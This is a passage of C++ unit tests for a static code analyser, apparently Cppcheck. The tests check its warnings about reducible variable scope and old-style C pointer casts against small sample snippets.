ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n 